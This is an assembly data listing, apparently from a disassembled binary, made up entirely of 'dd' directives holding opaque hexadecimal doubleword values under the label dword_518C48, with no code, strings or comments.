		dd 0D300A66Eh, 0B39704Ah, 0E02D5930h, 4BFD07A2h, 6018EA52h
		dd 0E0FEDD58h, 0EE38CC0Ch, 1D1038F4h, 0F953A3h,	6E8C3351h
		dd 4A01E026h, 1CF08F3h,	82E41281h, 287400FDh, 9AEC2765h
		dd 0B0F671F6h, 294B41C0h, 0D909Bh, 0EE253874h, 1C4CFD2Ah
		dd 0D734D600h, 745F2E9h, 80FF031Ah, 892C23A3h, 68AFCBE0h
		dd 1350F00h, 8229FC2Dh,	60C8EC87h, 0FDB088CAh, 95035859h
		dd 8B6B70D9h, 6F18017Bh, 0DFD8D134h, 8011DD1Dh,	0CF473B88h
		dd 3C4236Bh, 7B6E705Ch,	0BEE03330h, 0F4001683h,	0C22D82F6h
		dd 6166E5h, 961CD271h, 2110912Ah, 764F9525h, 0B2F60064h
		dd 0B3E78119h, 354AC303h, 0E0F30A0Dh, 0C20F99h,	7E654489h
		dd 0CDF4FC9Bh, 5867ED00h, 0BADE2790h, 3BAD078Bh, 31B3868Ah
		dd 80DDEB2Bh, 0DCDFF450h, 77A794h, 6BCE5202h, 9358B0FEh
		dd 6D5BA800h, 9BD4416Ch, 0E2350064h, 0B42EC84Dh, 4E607404h
		dd 5E1DF640h, 0B09560CEh, 1524B973h, 99A08F06h,	28B9F35Fh
		dd 1DAA64Bh, 18B5D448h,	87AC16AFh, 98DCA0A8h, 0D9FE2ED0h
		dd 4D6C0094h, 0B2ECDDF0h, 0A2047E9h, 0A70600B3h, 7D785233h
		dd 0BD004987h, 456F5E66h, 122ABFDh, 6725DAADh, 0F06114A7h
		dd 6A6FE35Dh, 74A80220h, 60188F92h, 946C613Ch, 0FCB0009Dh
		dd 0CCFE1341h, 5E0011A2h, 97EC02Dh, 1D5FD6E3h, 0BB5504F0h
		dd 3ED5D8A8h, 2731642h,	0D72BCBF9h, 149EC9B1h, 0C8815D61h
		dd 9882AE03h, 94B65C6Ah, 0AE04142Fh, 975CC8B0h,	0B4E710C0h
		dd 149884Eh, 7B7E5392h,	0F8669D45h, 0C600E3D8h,	5628A5E2h
		dd 0C4B1B51Eh, 44817729h, 0CE44EAADh, 807042A4h, 77EB0289h
		dd 94E8A82Fh, 1518284Ah, 762F2998h, 8B21B988h, 682F8ACAh
		dd 3918Bh, 0B1A7CBF5h, 0EE4F65h, 2DA3CE0h, 3426788Dh, 7A92BF07h
		dd 28B0FCD8h, 3C4EBA6Bh, 0E60190E8h, 45348F1h, 7A8E7085h
		dd 98314600h, 90525A2Dh, 0A211007Fh, 0BAB843B7h, 20005780h
		dd 9F680809h, 0DBC596h,	4E9DB0A8h, 19B967FFh, 0F3E99B00h
		dd 3C6EF4E7h, 0A50C0E4Ch, 0DC0053E6h, 5FE30A3Bh, 850006F2h
		dd 0B5C78766h, 3E1FF81h, 8D09F842h, 0CFE34C8Ah,	0EE9352A8h
		dd 6D84B8A0h, 0FB00A492h, 0E135A96Eh, 0FCE874h,	7E629B4Bh
		dd 4968E276h, 0E3390A28h, 5C33C000h, 106056Eh, 0D1CF010Ch
		dd 0BF8D440Dh, 0E85471E7h, 0B30F820h, 86283C2Bh, 1FFC0268h
		dd 174A2DCDh, 40270C40h, 3215B200h, 5ED63526h, 47980329h
		dd 0ECCE25B1h, 0EEC000AFh, 4A0073F3h, 0DC798188h, 619426h
		dd 0B6F4153Eh, 2E407AB1h, 360355F2h, 19FE1E53h,	0FDCD895h
		dd 684300CFh, 88ED626Bh, 0D902778Ah, 0A3C0D098h, 4D13C033h
		dd 0B2810061h, 0FDB3AE3Ch, 0E207DAE5h, 0A9D638D1h, 80502D50h
		dd 399D0044h, 0E32761EAh, 381B2175h, 0C810F1D2h, 3F51888Dh
		dd 0E0009EF8h, 9873B343h, 8B0ED566h, 80769320h,	0E9CBEE80h
		dd 78306395h
		dd 0B4F84412h, 9C3D56D6h, 0B52E817Fh, 98AF3486h, 0CCDDF8h
		dd 0D799CB37h, 12EAFC5Ah, 72662A00h, 95F3462Eh,	4E8D175Fh
		dd 0B13F0014h, 0B559FE84h, 513E2000h, 9858CD6Ah, 16C7FC26h
		dd 1AB4B0Bh, 1421FEBEh,	5BC2704Dh, 86967900h, 899F6471h
		dd 0F09CE876h, 215A006Ah, 0E5FCAE59h, 0C90093BCh, 89871B91h
		dd 6F57E2h, 0EF4F0C50h,	8C81720Dh, 95265B00h, 66602ED1h
		dd 0BC8000ABh, 6450A439h, 8C00A701h, 478FF457h,	303F7Ch
		dd 8B2034FFh, 0FA1E03B9h, 360096F2h, 4512399Eh,	0B14F43h
		dd 40AA581Ah, 0ADB607ACh, 1D36B501h, 0C02D62Fh,	24F01824h
		dd 0F83E195h, 828A01FEh, 87D01DC8h, 2A076EFh, 9F40144Dh
		dd 7690B669h, 2193F200h, 7A33F486h, 0EFFB006Dh,	30ED3E27h
		dd 5D0038A1h, 450FD437h, 0CE4B6C63h, 14A0011Ah,	0B7DE2C1Ch
		dd 7C55B502h, 60469072h, 3DA7DC6Ch, 0AB848F0Fh,	873BDB25h
		dd 984B40DDh, 47904D8Ch, 2098AE67h, 0BB582470h,	0C54200F8h
		dd 4C67951Ah, 0B004379h, 0A9985A8Eh, 300846B9h,	7610558Ah
		dd 8C05C2D3h, 0BF332578h, 0DBF6EF00h, 60E44FDFh, 0E136587Ch
		dd 0AE1E719Eh, 8501BE01h, 0D5D07E03h, 23F00831h, 9B3900DBh
		dd 0CE34E973h, 0CB540C16h, 0E200D4C8h, 0DA4BB923h, 0A08BC2CDh
		dd 0B628ACh, 204F1A38h,	85B75D25h, 0CA10172Ch, 7B0C900h
		dd 1D0F5540h, 80684702h, 3037A23Dh, 0B8005986h,	0C03EE387h
		dd 38A7B189h, 2FB0941Bh, 1F909C11h, 6F00CDE0h, 3B8AE325h
		dd 0ACED53h, 6C227B33h,	55C54372h, 1B3CC22Ch, 0B2358D05h
		dd 4C151C80h, 0C4660003h, 4E715488h, 0B0080C2h,	0C9970442h
		dd 4A0A8AFh, 0CBF2E81Ah, 1DD8D052h, 0C60FDEF0h,	0C0299F47h
		dd 0ADB70C26h, 5309007Ch, 0D44CBF8Fh, 0DE00C744h, 0DC35D323h
		dd 0A2F2840h, 0A6BD14Dh, 0B9A480F0h, 881BD7AAh,	941CFC04h
		dd 50C04B22h, 652AF8h, 3B9DBCB5h, 0B23EC74Eh, 0F86A0828h
		dd 95663802h, 606E1F7Fh, 0BBF278Dh, 48DE598Ch, 0AC779020h
		dd 0C0982940h, 0A9705500h, 0FA7B0C54h, 0F7C514C7h, 3500E4D9h
		dd 2E8303DFh, 0D6077185h, 7D9505C9h, 3338A090h,	5D304848h
		dd 87F44909h, 1266BC80h, 0EA766E2Fh, 4C8D3400h,	0E8B6ACA9h
		dd 4F17AFAh, 87FCF7E4h,	0B01980F6h, 0A1F0BD04h,	6A98E100h
		dd 42A69B3Dh, 41D01F55h, 9F6629h, 3762D747h, 8500D617h
		dd 0DAB84953h, 0E22CF723h, 0E0F0D1h, 769179D9h,	379D4D24h
		dd 5F323F00h, 0CB7A974Fh, 14980149h, 0EEF993E0h, 0FF986410h
		dd 0C34ED404h, 48C0F44Ah, 4C724D8Bh, 763659h, 122CF0CFh
		dd 5F65EC81h, 58038373h, 0F68AA7B7h, 30200025h,	0E787B43h
		dd 8B58B009h, 0C4B1006Fh, 0DFB6C362h, 3BA2F6CBh, 0F816CFh
		dd 7D4F88A1h, 0D951C611h, 0DCE3F001h, 0C3C268A0h, 0FB9B5D4h
		dd 7A557EE4h, 0B1209DCEh, 0F3F4BADh, 0C87D7C24h, 12291303h
		dd 0F985A0B7h, 352D1F64h, 52BC40B0h, 19C38D83h,	803C293Ch
		dd 60383637h, 10E0F56h,	40DFCB2Ah, 0F8BA7CCDh, 0DB0F196Dh
		dd 0E0F64387h, 8114F918h, 0DCC5499Ah, 0A7FCB280h, 15B84D30h
		dd 0C0F96500h, 85D37CF0h, 0C149004Eh, 4ADB93D9h, 28017594h
		dd 0BC42A1E3h, 0EAE01021h, 0D8F200B9h, 0D30F348Ch, 0E800841Fh
		dd 68BAFDE5h, 0F5EF03h,	0D8402F69h, 0D559A191h,	9772CEC0h
		dd 244F281Eh, 12046039h, 6C54072Bh, 96C480BDh, 6E0066B7h
		dd 48B95AB4h, 18CA591h,	5167134Eh, 0D83B5277h, 6A0016DCh
		dd 0B20E8E18h, 0AF8550h, 62150A80h, 95F748C5h, 8858492Eh
		dd 0DAE95900h, 28263F5Dh, 2C4F287h, 957684EDh, 54E07FBBh
		dd 8D00CC10h, 0B735CD86h, 0C0E61B4Dh, 0AB23F1B8h, 0D1A0536Bh
		dd 0A4031163h, 144F6741h, 3C079937h, 0BAEFF4h, 794B61F4h
		dd 853A64C3h, 40B0597Bh, 308D200h, 12DED54Ch, 0D88B001Ah
		dd 0FF88567Ch, 0B60B5D6Ch, 81A046E7h, 80B7473h,	0B229A0C7h
		dd 21C0104h, 3E9F413Bh,	0D1207082h, 0B75EC400h,	0DB051061h
		dd 93071E67h, 0EDF607E9h, 42D08086h, 0A023FFBh,	0F772BC2Ch
		dd 1444C048h, 0F3880165h, 0CE735BD3h, 0E40BDDDBh, 443C7143h
		dd 2B8107E5h, 38D0CA0Fh, 0D416F3h, 7E104954h, 0B458904Fh
		dd 0E5D8B900h, 284FB15h, 9CF50062h, 88C9AC33h, 6601F125h
		dd 5E4DEA2Ah, 0B4E46346h, 0ECB4CE9h, 4FDC600h, 0F9AD0921h
		dd 1370CD03h, 0BBC22208h, 3402D09Ch, 0FAD90CBAh, 49F03EFFh
		dd 0D2B5A810h, 0B700103Ah, 0ED76E473h, 3C0F0C80h, 803EEA17h
		dd 9B37D74Ch, 294B009Fh, 709AE434h, 2B009349h, 3DD877F0h
		dd 176ECAAh, 480C6F61h,	72691A80h, 5CFA0030h, 3CBF7AD5h
		dd 0E14600DFh, 0A314C84Ah, 3B3993F5h, 13631D70h, 328C2140h
		dd 0E6F9431h, 2610DF85h, 1346D85h, 8FFCD6F4h, 4650344Fh
		dd 0D872AA03h, 909F1323h, 16A004DAh, 0F29DEC8h,	0A2E3A588h
		dd 40E8E183h, 8600F812h, 0A051BBCh, 0D603CFh, 7FC75CD7h
		dd 0A96F078Ch, 9C90D201h, 5BA79AAFh, 0FABBE8DBh, 121900D3h
		dd 0B3BFC0EAh, 9E0E5D1Fh, 81E62F3Ah, 86C87151h,	0F5E8D0h
		dd 0E1FD25E5h, 0EAAA53CBh, 1744EE00h, 0EF973C33h, 0B36E31D3h
		dd 70BDF7C8h, 20505704h, 7F0030F4h, 0F8EFFD45h,	0C221AAh
		dd 78DE85EBh, 7CA74CC8h, 0A352E900h, 3AC5545Bh,	2710090h
		dd 4ECD9955h, 1704EF2Eh, 287D34F7h, 158F480h, 73F054h
		dd 510A7A9Ch, 0ED247EE9h, 3E10A900h, 0EA05F32Fh, 0E79F0056h
		dd 1CAE1B50h, 0B73F6A7Ah, 0C1288BF4h, 0C94E8007h, 28A60BE4h
		dd 1D885AD5h, 0A44EED55h, 501E00F4h, 7CEB3461h,	7B51F417h
		dd 6D4B6C00h, 0AE5925h,	0E457E3B1h, 8001DB1Ch, 4E79C507h
		dd 0E737F262h, 53860360h, 23E02Ch, 512846B4h, 81506C4Ah
		dd 0E0CB261Eh, 7E88CBh,	156F39A9h, 0E9B800C6h, 35730EA3h
		dd 0D10065F3h, 8AE8E408h, 9B3314Eh, 9A3222B0h, 901978A7h
		dd 4B6236A9h, 80F85738h, 0F734A2DAh, 0A069E17Dh, 0EBED7E5h
		dd 641F17CFh, 0A8E42C80h, 853C31B1h, 24379DB9h,	0CB018Fh
		dd 11FE7E46h, 0FBB6007Dh, 0A24A7968h, 0A900B098h, 69C12AE7h
		dd 1EF290h, 42874DC8h, 3BB2F5BAh, 0EB0F7200h, 0E8FA7DABh
		dd 0E990058h, 97E5C0F7h, 7F17B607h, 2C40B23Fh, 0EC77A008h
		dd 11745Ch, 83F44DBFh, 0FEB573Dh, 1A2F7404h, 72C0BBFFh
		dd 0DA632Eh, 0EAE85B13h, 0B4D0264Eh, 9AE2E601h,	0BB572C1Ah
		dd 18E0E621h, 10C2028Fh, 7CE19F0Eh, 0F608F070h,	0A85F1Fh
		dd 0CE779786h, 0BC008473h, 367FDC8Eh, 1F1F978h,	3F6D5D55h
		dd 0D89D45DAh, 8C7EA002h, 0CC549707h, 43C752F5h, 82A3CEC0h
		dd 38F100ACh, 62CA969Fh, 0CD049061h, 53D23DC0h,	2F858E0h
		dd 262DD46Eh, 78E0846Dh, 200EE232h, 0C0582C5Dh,	0B19F5CAh
		dd 50FB1FE0h, 8236008Ah, 98071A6Ch, 55AEA0Eh, 9E47813Dh
		dd 2080812Ch, 0AC0DED23h, 9A30B14Ch, 0E71468F9h, 24647685h
		dd 9F504FAFh, 0D1314075h, 0FACE5921h, 0C000A470h, 9A080690h
		dd 7B50AE6h, 604E5155h,	3DBE104Ch, 9C00277Eh, 471965E8h
		dd 0F6B459D9h, 3CDD0F96h, 0A6C413Fh, 6B806A71h,	439E2639h
		dd 1C0E8044h, 0FE286617h, 0B5C5AD00h, 42560594h, 391F6041h
		dd 2ECC7ED2h, 7F6ACCA0h, 540CFB4Bh, 6051A0h, 0C5523B82h
		dd 0CE0124E8h, 4D9E7501h, 0B50371Ch, 8F5230h, 1ACBB35Bh
		dd 34F8E566h, 0E33B2C00h, 0AFE98D4Ah, 461E00C4h, 8B82964h
		dd 0D8000AAAh, 0A7FF6A61h
		dd 53D72Eh, 109720ABh, 429D75F5h, 0B3F7D200h, 330B77C9h
		dd 848507E2h, 77E102A4h, 0C5D681AFh, 0A8EAC09Bh, 4960709Ah
		dd 698BF030h, 0C557FE43h, 171B0E0h, 74BF89F8h, 0FC4407Eh
		dd 3F004A91h, 7D34F2Bh,	70C4CA5h, 0D06FA395h, 0A8D9E080h
		dd 5E003F85h, 58149677h, 7DFB05h, 722AA053h, 0E7E2E0FAh
		dd 98009C92h, 0BD7B11AEh, 0F837C75h, 4E3A5551h,	80E0F087h
		dd 0AF1E0117h, 59B28103h, 0C839DD04h, 0B84EB2Eh, 0C8E2B92Dh
		dd 0E583D900h, 5601AE1Ch, 7FE0B074h, 0E441069Eh, 49FCA531h
		dd 207837h, 27609F10h, 0DD5B2E42h, 4EA29000h, 8838B181h
		dd 0C1E411h, 0B18C89Bh,	2D872CC9h, 0B5F32700h, 1D3AD573h
		dd 4C549081h, 6C027820h, 0B65B845Fh, 30BF0849h,	5800462Ah
		dd 9BEBA457h, 889703h, 0DBC5C98Ch, 67BAC1F2h, 91305460h
		dd 16CEE8FCh, 2F7CC65h,	340EB844h, 6600B870h, 0D0749704h
		dd 7ED1B18Ch, 3CADA0A7h, 0C942032Fh, 1309D744h,	9E3207E8h
		dd 882E3D00h, 6C43A6BAh, 0D79005Bh, 0FF21F17Ah,	0EB00B8AEh
		dd 8B06E847h, 250FFE24h, 7DD44383h, 9D7DDB03h, 0B372B03Eh
		dd 359327D4h, 3C1F1430h, 0C03A1E75h, 6F68847Dh,	9490C5F8h
		dd 2289F8Eh, 0EE256CD9h, 1441B05Dh, 8C32EC08h, 0B8985A01h
		dd 58732D26h, 0ADA040D6h, 2E7140D3h, 4EA0A800h,	0FF367BEAh
		dd 0BFEE39B4h, 2075011Bh, 0C108E3FCh, 0A2086EB4h, 1521E8h
		dd 381A116Bh, 3F674C8Dh, 0D9F9280Bh, 0F2FE0504h, 0D654C700h
		dd 29E16FEh, 0E2527DCCh, 6C6B6A8Dh, 38C970F2h, 695AD88Ah
		dd 4EA5B600h, 5E728B99h, 7492007Eh, 0A173B832h,	800D438h
		dd 8E23A9CBh, 0FA7BFBE3h, 2FD93D6Dh, 10A4E280h,	0A8DE0729h
		dd 0B3791B0Ah, 8090F8E8h, 0C4A9280h, 0AF284F47h, 550A9888h
		dd 84B9A5D9h, 0C40A680h, 0EBE2DCAh, 3CC3102Ch, 483A4E00h
		dd 4D3D3F02h, 0DF11AEA1h, 0F0B48800h, 0DC591h, 0CEDC0C2h
		dd 40EBDE59h, 25063501h, 0DA0790CBh, 5F716880h,	0BEAB6389h
		dd 41D9578h, 2881C2F7h,	0F22A120Ch, 0EC26D730h,	0A3DC0018h
		dd 0DB4363D7h, 71148B60h, 0ED0056Fh, 0C017CC69h, 7F981329h
		dd 1B950038h, 36F47486h, 9A1748EFh, 6C40888Fh, 0ABF5D4Ch
		dd 86D73BF7h, 5AFC1580h, 2C3E7046h, 5B0B2B2Eh, 5BBB833Ch
		dd 0CAB6BDCAh, 347A78h,	1323C6A2h, 295E02E0h, 2832200Bh
		dd 396C8056h, 15DD64Ah,	88BE554Bh, 0D4718EC8h, 0E70297D2h
		dd 6E94A824h, 0F7CE65Dh, 696FAD9Bh, 0A0EBFD81h,	151BDCA7h
		dd 0B785210Fh, 0FAA9A67Bh, 280500D0h, 0EB72D79Bh, 170926E0h
		dd 90C21EEAh, 0FAFCD0h,	7F92A810h, 0CE3FA21Bh, 33EFC30Eh
		dd 0CBAFA0EEh, 4C8C5Ch,	0C90AB542h, 932B084Dh, 27730717h
		dd 0BA0B6A00h, 14D8FDD5h, 0D015144Eh, 18240074h, 88F1439Bh
		dd 0AA00AD69h, 4BA1B58Eh, 3FFB3811h, 2E3A4A10h,	0B17300F8h
		dd 577F8564h, 0ED4B3D3h, 22F05A78h, 4C900E3Fh, 0FF005E75h
		dd 52B3B6CBh, 22C87C02h, 0D89F5C6Ah, 9A7A48h, 8E4C9DF5h
		dd 0CA614B6h, 13001EECh, 42255D1Ah, 0FE10AC54h,	0AA7E003Bh
		dd 742B84D5h, 0C04D4EBFh, 0AD5D0EE4h, 0F81E7219h, 36299700h
		dd 127D99E2h, 403C4A6Dh, 79699D6Ch, 2E740FA0h, 0E6EF931Dh
		dd 0D61C7380h, 1E7E669Eh, 0A63D4B90h, 0A71009Ch, 938CE3FBh
		dd 1B8DB01h, 349A5167h,	63063E8h, 2FF1A391h, 8DF031B4h
		dd 9207E9FAh, 87B64E15h, 68A6DDE0h, 0D0E60006h,	854A986Bh
		dd 15EE3E51h, 76F97900h, 9C1E52EAh, 0E55807FEh,	604A0D63h
		dd 0A82789C8h, 5D748B00h, 0C6515748h, 452C0012h, 0EC5A39BBh
		dd 0A172A2B9h, 8093AB30h, 0C16BE6h, 88D16237h, 6F561401h
		dd 0BC604D4Ah, 0BE3BCBFh, 0AD514068h, 487B24E0h, 35BD3A02h
		dd 400BDB11h, 5C368Ah, 1AF7B66Fh, 5D89414Ah, 0A467647Bh
		dd 7BE0E420h, 1CEC2A2h,	0B8CD8CDFh, 20AB541Bh, 123AD348h
		dd 1AC4810Ah, 1FF48D21h, 0C0CDB343h, 1369F932h,	5C54E3B3h
		dd 1FC30080h, 4C8F70C8h, 24F85259h, 0F8265851h,	2AD76300h
		dd 0A85AA0h, 9F7943Fh, 3B1E9DBCh, 10E06800h, 74A991D6h
		dd 940B0372h, 0FDB0F97Fh, 111E019Bh, 0E8C0D35Dh, 598C7C79h
		dd 0C0984A74h, 9D563934h, 0EBC2BB02h, 0F0309BE3h, 58E2002Ch
		dd 1B2D31A3h, 0C073EF17h, 8D26903h, 0E748427Fh,	99BC52F0h
		dd 0D17C17E6h, 5F4470DFh, 0A7002661h, 77DDF79Fh, 5EB99A6h
		dd 9B46F486h, 7AD800B4h, 0E59D45DBh, 0AC096600h, 6050849Ch
		dd 9B82075Ah, 5F3A3E89h, 9A9FBD60h, 78B07065h, 0ABCCB800h
		dd 0F13DDD2Ah, 0B74C00F3h, 66A61A34h, 633D6EB6h, 4EC01773h
		dd 0BEEC5D00h, 0C855A4h, 230FF1Ch, 0CBDB3D29h, 0E8B12800h
		dd 31FAED78h, 17FA06h, 0AF81DAB9h, 0F5FF9675h, 25A9C903h
		dd 0B094356Fh, 4A522440h, 381377h, 0A327B5Bh, 882790BEh
		dd 0C4D0A2CFh, 0B88060D5h, 3CA000A5h, 0B39BDDF8h, 6B003E92h
		dd 53C9E04Bh, 0E7C3908h, 2967BDEEh, 0EDB21C81h,	44D1EF9Eh
		dd 0C00C7C97h, 0E43B1052h, 1ECD0405h, 80AC4308h, 8E5C535Ch
		dd 597FCA00h, 657C2D39h, 0CEC600D3h, 338C763Ah,	3E024768h
		dd 7F959942h, 90356025h, 44A4871h, 799C3C11h, 101E524Fh
		dd 4174E380h, 9A40BF3Eh, 0B357001Ch, 24D10269h,	0DA001C3Bh
		dd 0BD2218B2h, 17459270h, 0BDE97B6h, 7880C29Eh,	90D620B7h
		dd 7C036F7Ah, 9E75606Ch, 0C4E4C851h, 0B2872C86h, 7E0340C0h
		dd 30038D27h, 46847255h, 0D911D02Fh, 14EB48BCh,	1241F100h
		dd 0B88CFC5Bh, 20C57119h, 0C0FC6918h, 1E111C79h, 993400FAh
		dd 75A99BD7h, 459C9502h, 40CD2767h, 75EBDD8h, 864F6B2h
		dd 0D3EA091h, 577A2CDFh, 0AD27F300h, 44CAA5Eh, 0F50B84Bh
		dd 6CF20E26h, 0E0EF9260h, 38E1D742h, 0B5440000h, 64EBC98h
		dd 4DE49Eh, 8F9FB1C5h, 0AB4A241Dh, 96C9AA00h, 0A4FB436Ah
		dd 60E001FEh, 582B568Ch, 9B7460CDh, 3D00EAF6h, 1FDFF81h
		dd 167F8F02h, 0EE2F221h, 9C432A8h, 0D400BE95h, 0B2DCE5C7h
		dd 5669062h, 2037BA98h,	9A68C0ACh, 0D4A833B7h, 9D1CF1BDh
		dd 65C111E2h, 0F33C5699h, 40A1B0F7h, 1C8D00D6h,	141FA505h
		dd 0FE003B32h, 6845D2F0h, 584F3Dh, 0E872250Fh, 0A0580E2h
		dd 0C0B00C90h, 0A213CB07h, 87FFAE98h, 0A0BFF98Bh, 0E54CC822h
		dd 8DC507F1h, 809F185Ah, 7FD9BC1Ah, 0EE643E00h,	0EFBDD7A9h
		dd 3F6A0079h, 2D5DBE4h,	450FE94Fh, 804E1A96h, 799F3A40h
		dd 0DFE10350h, 0B3C3E812h, 0BC1FE4F8h, 89003579h, 802EDBF6h
		dd 0B8335583h, 0AF751273h, 0F774D14Fh, 0C52BF0F5h, 61C72200h
		dd 68BD9A9Dh, 0A685043Fh, 0B8B390DCh, 43E812D0h, 7F0FC4B3h
		dd 0D9A002C8h, 0C3083773h, 0E9E29702h, 401D8B4Dh, 1C787515h
		dd 4055655Eh, 0B8A1FF8Ah, 40066EAh, 1DD0F093h, 42DCE09h
		dd 331F97AFh, 9418808Eh, 67003946h, 8FA82591h, 0D8EC61h
		dd 0E1588B19h, 27D71E35h, 0A4444300h, 118DF4F6h, 51731C9Eh
		dd 123D4E46h, 0A2FE6120h, 5B334970h, 0C0AA1104h, 11B822h
		dd 78C66280h, 56EE4520h, 74C9D700h, 94315104h, 0CD000C4h
		dd 0E0051BC6h, 5600AD6Ch, 12A4946h, 0F51CCBh, 90C6B0E1h
		dd 0E94B580h, 0DC9AF01h, 0C36F93C0h, 0F4056287h, 3DF341F1h
		dd 2AA050B6h, 24004C1Ch, 35600C41h, 0C013D7C3h,	66DDA811h
		dd 0D3059515h, 73E8975Ch, 567050D0h, 0C602350Eh, 1DA44050h
		dd 147E404Ch, 538F3D00h
dword_518C48	dd 0F1D720F0h, 5F0400EDh, 0A28E3D9h, 0AE3E35A9h, 0FC7D00D4h
		dd 0E478116Eh, 5F34007Ah, 54B78609h, 2A269555h,	0EC01BA52h
		dd 0D498EEB5h, 3B8CDCh,	0D540AB28h, 0DDEF6A4Ah,	0C24C9374h
		dd 0F3B30026h, 30E06BE1h, 745F0076h, 84A1CCD0h,	873EA47Ah
		dd 362F03B1h, 0F002ED4Dh, 549899Eh, 67F3120Fh, 65884046h
		dd 361DEB4Ch, 73053E03h, 0A3026E2Ah, 6721009Eh,	0ED19EA24h
		dd 0B3E85F6Ch, 3BE8DC01h, 6233F6A9h, 0E4FC003Ah, 29920EC2h
		dd 355DAC1Eh, 81C0568Fh, 2BE32F08h, 10F0188Ah, 1DB40F9Ch
		dd 0D40ABC81h, 0CD42ECC6h, 4F123F00h, 788FCAE4h, 45492987h
		dd 891D00D8h, 54FE5F66h, 7F7B3901h, 7D924984h, 8DDCC450h
		dd 85A40080h, 1BB5D26Ch, 9F63EE34h, 16AF9E98h, 7A6D949h
		dd 0D59DA303h, 56840115h, 805F6059h, 0C9D22C50h, 30EC07Ah
		dd 818628F1h, 0EEB84190h, 690095B0h, 0F23DAB26h, 0F94BFFh
		dd 5B9E977Ch, 51D2775Ah, 2ADF7007h, 3C67946Bh, 19D9E540h
		dd 2D230038h, 0DDF19F05h, 0F07427C3h, 7A214F60h, 34232Fh
		dd 0C8D159EDh, 78ECD380h, 0E7E5Ch, 6A06CE5Eh, 0F498EDCh
		dd 6B39D9E3h, 0CFC0C0BFh, 2580FBCCh, 69774C03h,	77DC036Dh
		dd 39028C80h, 37051023h, 101519F0h, 1C233083h, 0C0AFA67Ah
		dd 0E69E249h, 200CE5Dh,	0AC417FD7h, 0C3DF763h, 6F29D18Dh
		dd 3906A338h, 38C52C30h, 52F90010h, 8F5A861Fh, 4233D03Eh
		dd 1FE80877h, 0F04E5B0h, 0A6C0CB1Fh, 0A2570AECh, 418A6841h
		dd 5E9C2BD9h, 21001B46h, 1A506DF5h, 1D0CCE01h, 58693507h
		dd 398A658h, 4022E652h,	0FE90A575h, 837CE74Dh, 54D46381h
		dd 0E01A6C33h, 0C18C3DD8h, 275A89B8h, 0F96C5D07h, 6909C890h
		dd 0F1058898h, 66EDA56h, 66C8C443h, 0E000FD52h,	4A31AB05h
		dd 851D3950h, 0F3BDA200h, 634F1055h, 57607712h,	0C409D503h
		dd 0ECB388EAh, 0C1CF030Ch, 99523BDFh, 7039C7B0h, 51077DE4h
		dd 556F0A66h, 3A00AFC7h, 0AA420E5h, 0F9336923h,	249D880Ch
		dd 10522542h, 4384195Dh, 25511061h, 0C8496D8Ch,	82B1222h
		dd 0BAC2C09Bh, 0EFDF4106h, 0E2520008h, 0D2E4423Fh, 3D30950Ch
		dd 0E03918CEh, 0F6BB06B7h, 6930335Ch, 797C614h,	6AE5001Ch
		dd 200C6151h, 0A1D6F046h, 0E1E371E9h, 70885EA3h, 0A91D9825h
		dd 6FDA587Ch, 61C0F81h,	0F2124C9h, 0C48A60D1h, 3F5B1F00h
		dd 5E50CCD5h, 3200EA64h, 238880EDh, 0C0428990h,	75A23090h
		dd 0B2188B5Dh, 859901DDh, 3E59360Eh, 48FB859h, 6E515EC1h
		dd 88851080h, 0A3215346h, 2900FD90h, 0FC0E2D58h, 7B98F8Bh
		dd 6AFF9A44h, 0B3F790CAh, 0CE01E3ACh, 233C675Eh, 0BF30164Fh
		dd 96C81C41h, 0D46BC0DEh, 8F18A831h, 1A3CDD7Dh,	7BC4813Dh
		dd 0D911BFD6h, 8B40E4h,	178A29A5h, 0EB372C91h, 0EE959F01h
		dd 384CB265h, 1A0CCh, 2814CBC3h, 0E2ECD8A9h, 0E001D7Dh
		dd 7B874683h, 85688Eh, 524F6E1Ch, 0FA25508Ch, 0D2158000h
		dd 3AE3D861h, 3E0B0141h, 89297043h, 9E7FF047h, 4E213Eh
		dd 0D55C81BCh, 3263153h, 0F46B7096h, 71A8EE66h,	0A00F63Eh
		dd 5D7BC68Fh, 7C39C84Ah, 696F60B5h, 147D8944h, 0CCEB8502h
		dd 0A00EAA9Fh, 685E38D0h, 22B50E06h, 0C4005AFAh, 853D339Ah
		dd 0D7DEB400h, 5D911D37h, 445E0FD0h, 4F803C81h,	4293EF53h
		dd 86F5C212h, 1A0A0840h, 0FA5F3ED1h, 70A8004Ch,	69DEBB88h
		dd 993CF172h, 9C007B46h, 0AFC75511h, 1EEC63D6h,	4CD1F3h
		dd 7E085C01h, 2301D70Dh, 3897418Fh, 8AEC1BB4h, 0BBF086h
		dd 1662887Bh, 738326C2h, 1A003874h, 0E6F17152h,	0DDFC15h
		dd 67F6EFC9h, 60F38647h, 50CC8714h, 65520590h, 8980F945h
		dd 305B41Bh, 979F47DFh,	0CDE0576Dh, 860169F2h, 1AB7559h
		dd 3880646Eh, 857D12A0h, 683D5025h, 1C470153h, 41649FCEh
		dd 35E05425h, 4AE6006Eh, 15633B91h, 0D73A7882h,	0B306006Dh
		dd 6BC9DBF0h, 0D38F395Dh, 7005AA80h, 768CE56Fh,	55730300h
		dd 5A02686Dh, 0C52D4811h, 700A1700h, 22F1B7EAh,	0E0FDCA3Bh
		dd 0CE992090h, 31520BE2h, 748AFED8h, 8878098h, 13FC1F53h
		dd 9DD2A300h, 0BDB13CEDh, 0BA711Dh, 38EECBC4h, 0FA2BD735h
		dd 0FF702A0Ah, 1BAC900Bh, 7DF77900h, 1C9FD44Fh,	8084D66Bh
		dd 44B0469Dh, 0F200C0C5h, 0D82549Eh, 79E80A6Ah,	1E303078h
		dd 15A23551h, 0E1F4BFE0h, 0BB39FF00h, 4B70D3BDh, 277457h
		dd 0AAC37CE2h, 8898D22Ah, 59FEDB0Ch, 935C149h, 3BAB1609h
		dd 621E680h, 190073BBh,	5714D71Ah, 0E90403h, 621861CEh
		dd 8F753B76h, 0C7D49A07h, 0AE4099EDh, 1A08B2h, 3299897h
		dd 37C32B07h, 0E91E5513h, 51859401h, 26FC45A2h,	5D810043h
		dd 94744C62h, 0F50724DCh, 67ADF0C9h, 2C51BD0h, 3EC30068h
		dd 7D71FF64h, 72078DA7h, 6F91E15Ah, 335B5910h, 0B6E30166h
		dd 0D473690Bh, 0F980DCD9h, 4681C71Eh, 2C2F11F1h, 310C70h
		dd 0EA4A52E5h, 764EFD66h, 371FA9B0h, 80403599h,	0DDA47C64h
		dd 8711FC5h, 9419B004h,	0AB387F6Ch, 0C4EE8BD4h,	8E09800Eh
